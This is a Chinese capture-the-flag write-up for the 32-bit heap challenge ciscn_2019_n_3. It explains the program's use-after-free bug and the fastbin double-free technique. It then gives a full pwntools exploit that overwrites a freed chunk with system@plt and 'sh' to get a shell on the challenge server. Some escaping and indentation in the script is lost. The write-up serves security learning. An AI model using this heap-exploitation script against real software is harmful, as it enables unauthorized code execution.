首先检查题目文件
32位文件,开了canary和nx
先跑下程序
云笔记,1,2,3,4对应的功能是新建,删除,展示,购买pro版
在IDA里查看相应代码吧
先看main函数
查看do_new()函数
便于直观直接将分析写在图上了
查看do_del函数
do_dump函数
发现有system函数
text时free函数
int时free函数
可以看到free函数都释放掉了内存块,但却没有执行
ptr=0;
来把指针置0,这就存在了UAF漏洞
这里简单介绍下UAF漏洞:
一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
在计算机编程领域中,迷途指针,或称悬空指针、野指针,指的是不指向任何合法的对象的指针
当所指向的对象被释放或者收回,但是对该指针没有作任何的修改,以至于该指针仍旧指向已经回收的内存地址,此情况下该指针便称迷途指针。若操作系统将这部分已经释放的内存重新分配给另外一个进程,而原来的程序重新引用现在的迷途指针,则将产生无法预料的后果。因为此时迷途指针所指向的内存现在包含的已经完全是不同的数据。通常来说,若原来的程序继续往迷途指针所指向的内存地址写入数据,这些和原来程序不相关的数据将被损坏,进而导致不可预料的程序错误。这种类型的程序错误,不容易找到问题的原因,通常会导致存储器区块错误(Linux系统中)和一般保护错误(Windows系统中)。如果操作系统的内存分配器将已经被覆盖的数据区域再分配,就可能会影响系统的稳定性。
对于堆题目这里还有必要了解下fastbin attack
fastbin机制:
fastbin只检查fastbin第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0) 的方式来达到double free。之后还检查大小是否满足要求,通过size算出fastbin_index然后再比对。利用的前提是能创建 fastbin 类型的 chunk,存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
我们先申请两个fastbin大小的堆块0和1,然后分别释放chunk0和chunk1,这两个chunk就被放在fastbin中,另外由于UAF漏洞,fastbin的链表结构就会变为 表头指向chunk0,chunk0指向chunk1
再申请一个chunk2,这时chunk2分配的chunk其实就是chunk1的内存(因为chunk1就是链表的尾部,fastbin是先入后出的,直接对链表尾进行操作),而由我们申请大小为0xc的内存其实就是使用的chunk0的内存(因为大小和chunk0相同)。
exp如下:
from pwn import *
p=remote("node4.buuoj.cn",27621)
#p=process("ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86'
elf = ELF("./ciscn_2019_n_3")
sys=elf.plt['system']
def new(i,type,value,length):
p.sendlineafter("CNote > ",str(1))
p.sendlineafter("Index > ",str(i))
p.sendlineafter("Type",str(type))
if type==1:
p.sendlineafter("Value > ",str(value))
else:
p.sendlineafter("Length > ",str(length))
p.sendlineafter("Value > ",str(value))
def dl(i):
p.sendlineafter("CNote > ",str(2))
p.sendlineafter("Index > ",str(i))
new(0,2,b'a'*4,0x10)#这里的0x10大小无所谓是给存放aaaa用的
new(1,2,b'a'*4,0x10)#这里的0x10大小无所谓是给存放aaaa用的
dl(0)
dl(1)
new(2,2,(b"shx00x00"+p32(sys)).decode("ISO-8859-1"),0xc)#往chunk0的内存里写入shell
dl(0)#这里的释放chunk0变为执行shell
p.interactive()
获得flag



